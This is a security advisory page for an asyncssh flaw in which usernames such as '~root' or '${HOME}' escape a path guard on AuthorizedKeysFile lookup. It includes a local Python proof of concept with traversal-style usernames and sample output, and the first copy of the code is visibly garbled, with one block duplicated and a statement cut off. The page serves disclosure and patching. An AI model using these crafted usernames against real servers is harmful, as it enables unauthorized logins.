CVE-2026-54590: Asyncssh Asyncssh Has An Incomplete Fix Vulnerability

MODERATE
Advisory Identifier: GHSA-qr67-gv47-xwwh
CVSS 5.9
CWE-639 CWE-22
Published
Advisory Summary

CVE-2026-54590 is a MODERATE (CVSS 5.9) asyncssh has an incomplete fix vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Asyncssh libraries in the PyPI ecosystem. The issue involves asyncssh has an incomplete fix for cve-2026-45309 — authorizedkeysfile %u still escapes the intended directory via a leading ~ (and weakly via ${env}) username substitution. Remediation is available by upgrading affected packages to version 2.23.1.

CVE-2026-54590 at a Glance

CVE Identifier CVE-2026-54590
GHSA Identifier GHSA-qr67-gv47-xwwh
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Asyncssh
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-54590

To remediate this vulnerability, upgrade all affected Asyncssh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

asyncssh fixed: 2.23.1
pip install asyncssh>=2.23.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show asyncssh

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-54590, inspect your installed packages using pip:

pip show asyncssh

Analyze the terminal output to locate any version of Asyncssh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.23.1), your application is affected.

Note: The pip show asyncssh command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Asyncssh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The 2.23.0 guard that sanitises the SSH username before `%u` substitution in `AuthorizedKeysFile` blocks `/`, `\` and `..`, but does not block a leading `~` (or `${ENV}`), both of which are re-introduced by later expansion and reach the file open — defeating the guard. **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`, HEAD on 2026-05-29). ## Summary The fix for CVE-2026-45309 added a guard in `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that rejects an SSH username containing `/`, `\`, or equal to `..`, before it is substituted for the `%u` token in `AuthorizedKeysFile`: if self._user == '..' or '/' in self._user or '\\' in self._user: raise IllegalUserName('Unsafe username substitution') However, the `%u`-substituted value is subsequently passed through environment-variable expansion (`_expand_val`, `config.py:145-149` — token expansion then env expansion) and, at file-open time, through `expanduser()` (`read_authorized_keys` → `read_file` → `open(Path(filename).expanduser())`, `auth_keys.py:348` → `misc.py:290`). Both re-introduce the path control the guard was meant to remove, so a username that contains no `/`/`\` can still cause the server to read an authorized-keys file outside the intended per-user directory. The client-supplied username reaches this path pre-authentication: `_process_userauth_request` takes the username from the `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and `_finish_userauth` calls `reload_config()` (`connection.py:2536`), which re-evaluates `AuthorizedKeysFile` with `username=self._username` (`connection.py:5906`) before the offered key is validated. ## Primary vector — leading `~` A username such as `~root` or `~victim` passes the guard (no `/`). For a server whose `AuthorizedKeysFile` begins with `%u` — e.g. `AuthorizedKeysFile %u/.ssh/authorized_keys` — the expanded value is `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to `/home/victim/.ssh/authorized_keys` (`~root` → `/root/...`; a bare `~` → the server process's home). The username has therefore escaped the intended per-user location without using any path separator — defeating the purpose of the guard. Note: `expanduser()` only expands a leading `~`, so this vector requires `%u` to be the first path component of `AuthorizedKeysFile`. (The CVE-2026-45309 `authorized_keys/%u` example — `%u` not leading — is not reachable this way; that was the `../` form.) ## Impact and limitations - Demonstrated (verified against source at `a60f863`): the guard is bypassable and the authorized-keys lookup is redirected to an attacker-named home tree, pre-auth, with a separator-free username. - Impact model = identical to CVE-2026-45309: authenticating as the redirected username when a readable authorized-keys file containing the attacker's key is reachable at the redirected location. The parent CVE accepted this exact precondition and was scored `C:N/I:H/A:N`; this is scored consistently. - Not built: a live multi-account SSH auth harness; the PoC verifies the path-redirection mechanism in-process, deterministically. No new primitive is claimed beyond the parent CVE's accepted model — only that the 2.23.0 fix does not close it for `~`/`${ENV}`. - Preconditions (captured by AC:H): `%u` must be the leading path component; on Python 3.13, `Path('~nonexistentuser').expanduser()` raises `RuntimeError`, so only existing accounts are reachable (confirmed: asyncssh 2.23.0, Python 3.13.12). ## Secondary vector — `${ENV}` (defense-in-depth only) A username like `${HOME}` also passes the guard and is then environment-expanded, re-introducing `/`. Weaker and not a practical exploit: the attacker can only reference env vars that already exist in the server process (a missing variable raises `ConfigParseError`) and cannot control their values. Reported as hardening. ## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0: cd /path/to/asyncssh PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py Output (abridged): [1] original CVE '../../../../tmp/evil' blocked: True (fix present) literal-slash user '/etc' blocked: True [A] tilde bypass user '~root': guard blocks it? False (False == bypass) expanded config value : ['~root/.ssh/authorized_keys'] after expanduser() : /root/.ssh/authorized_keys <-- read as authorized_keys VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED) ## Suggested fix Tighten `_set_tokens` to also reject usernames that re-introduce path control after expansion — reject a leading `~` / `~user` and `$`/`${` references in `self._user`. More robustly, validate that the FINAL expanded `AuthorizedKeysFile` path remains within the intended base directory, and/or suppress `expanduser`/environment expansion on the `%u`-derived component specifically. ## Disclosure Coordinated, ~90-day default. I will not publish details/PoC before a fix is released, and am happy to validate the patch. Credit (if given) to `cesabici-bit`. ## PoC source (see code block below) ```python #!/usr/bin/env python3 """ PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path control). Local-only, in-process, deterministic. No network. CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in SSHServerConfig._set_tokens that rejects a client username containing '/', '\\', or equal to '..' before it is substituted for the %u token in the server's AuthorizedKeysFile directive. This PoC shows the blocklist is bypassable: the %u value is afterwards run through (1) ${ENV} expansion and (2) ~ expanduser(), both of which re-introduce the path control the guard was meant to remove. CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets a separator-free username (e.g. '~root') escape to another home tree when %u is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can only REFERENCE env vars that already exist on the server and cannot control their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to illustrate the expansion, and does NOT represent attacker capability. Treat (1) as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md. Run from a checkout of asyncssh (cwd on sys.path), e.g.: cd /tmp/targets/asyncssh && python3 <thisfile> """ import os import sys import tempfile from pathlib import Path import asyncssh from asyncssh.config import SSHServerConfig try: from asyncssh.misc import IllegalUserName except Exception: # pragma: no cover IllegalUserName = asyncssh.IllegalUserName def expand_authkeys(user, cfg_text): """Load a server config exactly as SSHServerConnection does and return the expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the CVE-2026-45309 guard fires.""" with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f: f.write(cfg_text) cfg_path = f.name try: # mirror connection.py:8897 # SSHServerConfig.load(last_config, config, reload, canonical, final, # accept_addr, accept_port, username, # client_host, client_addr) cfg = SSHServerConfig.load( None, cfg_path, True, False, False, "127.0.0.1", 22, user, "client.example", "203.0.113.7", ) return cfg.get("AuthorizedKeysFile") finally: os.unlink(cfg_path) def guard_blocks(user, cfg_text): """Return True if the CVE-2026-45309 guard rejects this username.""" try: expand_authkeys(user, cfg_text) return False except IllegalUserName: return True def main(): print(f"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})") print(f"# python {sys.version.split()[0]}\n") results = [] # ---- Sanity 0: benign username expands normally ----------------------- cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u" val = expand_authkeys("alice", cfg) print(f"[0] benign user 'alice': {val}") results.append(("benign expands to per-user path", val == ["/etc/ssh/authorized_keys.d/alice"])) # ---- Sanity 1: original CVE-2026-45309 is blocked --------------------- blocked = guard_blocks("../../../../tmp/evil", cfg) print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}") results.append(("original CVE traversal is blocked (fix present)", blocked)) # also: a literal slash is blocked (the guard's whole purpose) slash_blocked = guard_blocks("/etc", cfg) print(f" literal-slash user '/etc' blocked: {slash_blocked}") results.append(("literal-slash username is blocked", slash_blocked)) print() # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() ------- cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys" blocked_a = guard_blocks("~root", cfg_a) val_a = expand_authkeys("~root", cfg_a) resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does print(f"[A] tilde bypass user '~root':") print(f" guard blocks it? {blocked_a} (False == bypass)") print(f" expanded config value : {val_a}") print(f" after expanduser() : {resolved_a} <-- read as authorized_keys") results.append(("A: ~user NOT blocked by guard", not blocked_a)) results.append(("A: expanduser() redirects to another home tree", resolved_a.startswith("/root/") or "~" not in resolved_a)) print() # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' ----------- # The username contains no '/','\\' and is not '..', so the guard passes. # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a # server value that DOES contain '/', defeating the separator filter. cfg_b = "AuthorizedKeysFile %u" os.environ.setdefault("HOME", "/root") blocked_b = guard_blocks("${HOME}", cfg_b) val_b = expand_authkeys("${HOME}", cfg_b) print(f"[B] env bypass user '${{HOME}}':") print(f" guard blocks it? {blocked_b} (False == bypass)") print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})") sep_injected = any("/" in p for p in val_b) print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed") results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b)) results.append(("B: ${ENV} re-introduces '/' the guard rejected literally", sep_injected)) # demonstrate arbitrary '/'-containing absolute path via a referenced var os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys" val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b) print(f" via referenced env var: {val_b2}") results.append(("B: env value yields absolute '/'-path post-guard", val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"])) # ---- verdict ---------------------------------------------------------- print("\n==== RESULTS ====") ok = True for name, passed in results: print(f" [{'PASS' if passed else 'FAIL'}] {name}") ok = ok and passed print("\nVERDICT:", print() # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' ----------- # The username contains no '/','\\' and is not '..', so the guard passes. # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a # server value that DOES contain '/', defeating the separator filter. cfg_b = "AuthorizedKeysFile %u" os.environ.setdefault("HOME", "/root") blocked_b = guard_blocks("${HOME}", cfg_b) val_b = expand_authkeys("${HOME}", cfg_b) print(f"[B] env bypass user '${{HOME}}':") print(f" guard blocks it? {blocked_b} (False == bypass)") print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})") sep_injected = any("/" in p for p in val_b) print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed") results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b)) results.append(("B: ${ENV} re-introduces '/' the guard rejected literally", sep_injected)) # demonstrate arbitrary '/'-containing absolute path via a referenced var os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys" val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b) print(f" via referenced env var: {val_b2}") results.append(("B: env value yields absolute '/'-path post-guard", val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"])) # ---- verdict ---------------------------------------------------------- print("\n==== RESULTS ====") ok = True for name, passed in results: print(f" [{'PASS' if passed else 'FAIL'}] {name}") ok = ok and passed print("\nVERDICT:", "guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)" if ok else "one or more checks did not hold") return 0 if ok else 1 if __name__ == "__main__": sys.exit(main()) ```

CVE-2026-54590 Affected Asyncssh Versions

1 component(s)
Fixed Versions:
2.23.1
Product / Package Ecosystem Affected Versions Fixed Version
asyncssh
PyPI
< 2.23.1
2.23.1

References

Frequently Asked Questions

What is CVE-2026-54590?
CVE-2026-54590 is a security vulnerability in Asyncssh involving asyncssh has an incomplete fix for CVE-2026-45309 — AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Asyncssh versions are affected?
Affected versions include releases prior to 2.23.1 across affected packages: asyncssh.
What version fixes CVE-2026-54590?
Upgrading to 2.23.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is asyncssh affected?
Yes, asyncssh is affected in releases prior to 2.23.1. Upgrade your dependency to 2.23.1 or later.
What is the CVSS score of CVE-2026-54590?
CVE-2026-54590 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-54590?
CVE-2026-54590 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check PyPI dependencies for CVE-2026-54590?
Run the dependency tree command: 'pip show asyncssh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qr67-gv47-xwwh",
  "modified" : "2026-08-26T15:32:00Z",
  "published" : "2026-08-26T15:32:00Z",
  "aliases" : [ "CVE-2026-54590" ],
  "summary" : "asyncssh has an incomplete fix for CVE-2026-45309 — AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution",
  "details" : "**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n  2.23.0 guard that sanitises the SSH username before `%u` substitution\n  in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n  leading `~` (or `${ENV}`), both of which are re-introduced by later\n  expansion and reach the file open — defeating the guard.\n\n  **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n  HEAD on 2026-05-29).\n\n  ## Summary\n  The fix for CVE-2026-45309 added a guard in\n  `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n  rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n  it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n      if self._user == '..' or '/' in self._user or '\\\\' in self._user:\n          raise IllegalUserName('Unsafe username substitution')\n\n  However, the `%u`-substituted value is subsequently passed through\n  environment-variable expansion (`_expand_val`, `config.py:145-149` —\n  token expansion then env expansion) and, at file-open time, through\n  `expanduser()` (`read_authorized_keys` → `read_file` →\n  `open(Path(filename).expanduser())`, `auth_keys.py:348` →\n  `misc.py:290`). Both re-introduce the path control the guard was meant\n  to remove, so a username that contains no `/`/`\\` can still cause the\n  server to read an authorized-keys file outside the intended per-user\n  directory.\n\n  The client-supplied username reaches this path pre-authentication:\n  `_process_userauth_request` takes the username from the\n  `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n  `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n  which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n  (`connection.py:5906`) before the offered key is validated.\n\n  ## Primary vector — leading `~`\n  A username such as `~root` or `~victim` passes the guard (no `/`). For\n  a server whose `AuthorizedKeysFile` begins with `%u` — e.g.\n  `AuthorizedKeysFile %u/.ssh/authorized_keys` — the expanded value is\n  `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n  `/home/victim/.ssh/authorized_keys` (`~root` → `/root/...`; a bare `~`\n  → the server process's home). The username has therefore escaped the\n  intended per-user location without using any path separator —\n  defeating the purpose of the guard.\n\n  Note: `expanduser()` only expands a leading `~`, so this vector\n  requires `%u` to be the first path component of `AuthorizedKeysFile`.\n  (The CVE-2026-45309 `authorized_keys/%u` example — `%u` not leading —\n  is not reachable this way; that was the `../` form.)\n\n  ## Impact and limitations\n  - Demonstrated (verified against source at `a60f863`): the guard is\n  bypassable and the authorized-keys lookup is redirected to an\n  attacker-named home tree, pre-auth, with a separator-free username.\n  - Impact model = identical to CVE-2026-45309: authenticating as the\n  redirected username when a readable authorized-keys file containing\n  the attacker's key is reachable at the redirected location. The parent\n  CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n  this is scored consistently.\n  - Not built: a live multi-account SSH auth harness; the PoC verifies\n  the path-redirection mechanism in-process, deterministically. No new\n  primitive is claimed beyond the parent CVE's accepted model — only\n  that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n  - Preconditions (captured by AC:H): `%u` must be the leading path\n  component; on Python 3.13, `Path('~nonexistentuser').expanduser()`\n  raises `RuntimeError`, so only existing accounts are reachable\n  (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n  ## Secondary vector — `${ENV}` (defense-in-depth only)\n  A username like `${HOME}` also passes the guard and is then\n  environment-expanded, re-introducing `/`. Weaker and not a practical\n  exploit: the attacker can only reference env vars that already exist\n  in the server process (a missing variable raises `ConfigParseError`)\n  and cannot control their values. Reported as hardening.\n\n  ## Reproduction\n  In-process, deterministic, no network. Against a checkout of asyncssh\n  2.23.0:\n\n      cd /path/to/asyncssh\n      PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n  Output (abridged):\n\n      [1] original CVE '../../../../tmp/evil' blocked: True   (fix present)\n          literal-slash user '/etc' blocked:           True\n      [A] tilde bypass  user '~root':\n          guard blocks it? False        (False == bypass)\n          expanded config value : ['~root/.ssh/authorized_keys']\n          after expanduser()    : /root/.ssh/authorized_keys   <-- read  as authorized_keys\n      VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n  ## Suggested fix\n  Tighten `_set_tokens` to also reject usernames that re-introduce path\n  control after expansion — reject a leading `~` / `~user` and `$`/`${`\n  references in `self._user`. More robustly, validate that the FINAL\n  expanded `AuthorizedKeysFile` path remains within the intended base\n  directory, and/or suppress `expanduser`/environment expansion on the\n  `%u`-derived component specifically.\n\n  ## Disclosure\n  Coordinated, ~90-day default. I will not publish details/PoC before a\n  fix is released, and am happy to validate the patch. Credit (if given)\n  to `cesabici-bit`.\n\n  ## PoC source\n  (see code block below)\n\n```python\n #!/usr/bin/env python3\n  \"\"\"\n  PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n  control). Local-only, in-process, deterministic. No network.\n\n  CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n  SSHServerConfig._set_tokens that rejects a client username containing\n  '/', '\\\\', or equal to '..' before it is substituted for the %u token in\n  the server's AuthorizedKeysFile directive.\n\n  This PoC shows the blocklist is bypassable: the %u value is afterwards run\n  through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n  re-introduce the path control the guard was meant to remove.\n\n  CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets\n  a separator-free username (e.g. '~root') escape to another home tree when %u\n  is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n  only REFERENCE env vars that already exist on the server and cannot control\n  their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n  illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n  as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n  Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n      cd /tmp/targets/asyncssh && python3 <thisfile>\n  \"\"\"\n\n  import os\n  import sys\n  import tempfile\n  from pathlib import Path\n\n  import asyncssh\n  from asyncssh.config import SSHServerConfig\n\n  try:\n      from asyncssh.misc import IllegalUserName\n  except Exception:  # pragma: no cover\n      IllegalUserName = asyncssh.IllegalUserName\n\n\n  def expand_authkeys(user, cfg_text):\n      \"\"\"Load a server config exactly as SSHServerConnection does and return the\n      expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n      CVE-2026-45309 guard fires.\"\"\"\n      with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n          f.write(cfg_text)\n          cfg_path = f.name\n      try:\n          # mirror connection.py:8897\n          #   SSHServerConfig.load(last_config, config, reload, canonical, final,\n          #                        accept_addr, accept_port, username,\n          #                        client_host, client_addr)\n          cfg = SSHServerConfig.load(\n              None, cfg_path, True, False, False,\n              \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n          )\n          return cfg.get(\"AuthorizedKeysFile\")\n      finally:\n          os.unlink(cfg_path)\n\n\n  def guard_blocks(user, cfg_text):\n      \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n      try:\n          expand_authkeys(user, cfg_text)\n          return False\n      except IllegalUserName:\n          return True\n\n\n  def main():\n      print(f\"# asyncssh {asyncssh.__version__}  ({asyncssh.__file__})\")\n      print(f\"# python {sys.version.split()[0]}\\n\")\n\n      results = []\n\n      # ---- Sanity 0: benign username expands normally -----------------------\n      cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n      val = expand_authkeys(\"alice\", cfg)\n      print(f\"[0] benign user 'alice':            {val}\")\n      results.append((\"benign expands to per-user path\",\n                      val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n      # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n      blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n      print(f\"[1] original CVE '../../../../tmp/evil' blocked: {blocked}\")\n      results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n      # also: a literal slash is blocked (the guard's whole purpose)\n      slash_blocked = guard_blocks(\"/etc\", cfg)\n      print(f\"    literal-slash user '/etc' blocked: {slash_blocked}\")\n      results.append((\"literal-slash username is blocked\", slash_blocked))\n\n      print()\n\n      # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n      cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n      blocked_a = guard_blocks(\"~root\", cfg_a)\n      val_a = expand_authkeys(\"~root\", cfg_a)\n      resolved_a = str(Path(val_a[0]).expanduser())  # what read_file()/open_file() does\n      print(f\"[A] tilde bypass  user '~root':\")\n      print(f\"    guard blocks it? {blocked_a}   (False == bypass)\")\n      print(f\"    expanded config value : {val_a}\")\n      print(f\"    after expanduser()    : {resolved_a}   <-- read as authorized_keys\")\n      results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n      results.append((\"A: expanduser() redirects to another home tree\",\n                      resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n      print()\n\n      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------\n      # The username contains no '/','\\\\' and is not '..', so the guard passes.\n      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a\n      # server value that DOES contain '/', defeating the separator filter.\n      cfg_b = \"AuthorizedKeysFile %u\"\n      os.environ.setdefault(\"HOME\", \"/root\")\n      blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n      val_b = expand_authkeys(\"${HOME}\", cfg_b)\n      print(f\"[B] env bypass    user '${{HOME}}':\")\n      print(f\"    guard blocks it? {blocked_b}   (False == bypass)\")\n      print(f\"    expanded config value : {val_b} (HOME={os.environ['HOME']})\")\n      sep_injected = any(\"/\" in p for p in val_b)\n      print(f\"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed\")\n      results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n      results.append((\"B: ${ENV} re-introduces '/' the guard rejected literally\",\n                      sep_injected))\n\n      # demonstrate arbitrary '/'-containing absolute path via a referenced var\n      os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n      val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n      print(f\"    via referenced env var: {val_b2}\")\n      results.append((\"B: env value yields absolute '/'-path post-guard\",\n                      val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n      # ---- verdict ----------------------------------------------------------\n      print(\"\\n==== RESULTS ====\")\n      ok = True\n      for name, passed in results:\n          print(f\"  [{'PASS' if passed else 'FAIL'}] {name}\")\n          ok = ok and passed\n      print(\"\\nVERDICT:\",\n\n      print()\n\n      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------\n      # The username contains no '/','\\\\' and is not '..', so the guard passes.\n      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a\n      # server value that DOES contain '/', defeating the separator filter.\n      cfg_b = \"AuthorizedKeysFile %u\"\n      os.environ.setdefault(\"HOME\", \"/root\")\n      blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n      val_b = expand_authkeys(\"${HOME}\", cfg_b)\n      print(f\"[B] env bypass    user '${{HOME}}':\")\n      print(f\"    guard blocks it? {blocked_b}   (False == bypass)\")\n      print(f\"    expanded config value : {val_b}   (HOME={os.environ['HOME']})\")\n      sep_injected = any(\"/\" in p for p in val_b)\n      print(f\"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed\")\n      results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n      results.append((\"B: ${ENV} re-introduces '/' the guard rejected literally\",\n                      sep_injected))\n\n      # demonstrate arbitrary '/'-containing absolute path via a referenced var\n      os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n      val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n      print(f\"    via referenced env var: {val_b2}\")\n      results.append((\"B: env value yields absolute '/'-path post-guard\",\n                      val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n      # ---- verdict ----------------------------------------------------------\n      print(\"\\n==== RESULTS ====\")\n      ok = True\n      for name, passed in results:\n          print(f\"  [{'PASS' if passed else 'FAIL'}] {name}\")\n          ok = ok and passed\n      print(\"\\nVERDICT:\",\n            \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n            if ok else \"one or more checks did not hold\")\n      return 0 if ok else 1\n\n\n  if __name__ == \"__main__\":\n      sys.exit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "asyncssh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.23.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.23.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ronf/asyncssh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-639" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-26T15:32:00Z",
    "nvd_published_at" : "2026-07-08T21:16:49Z"
  }
}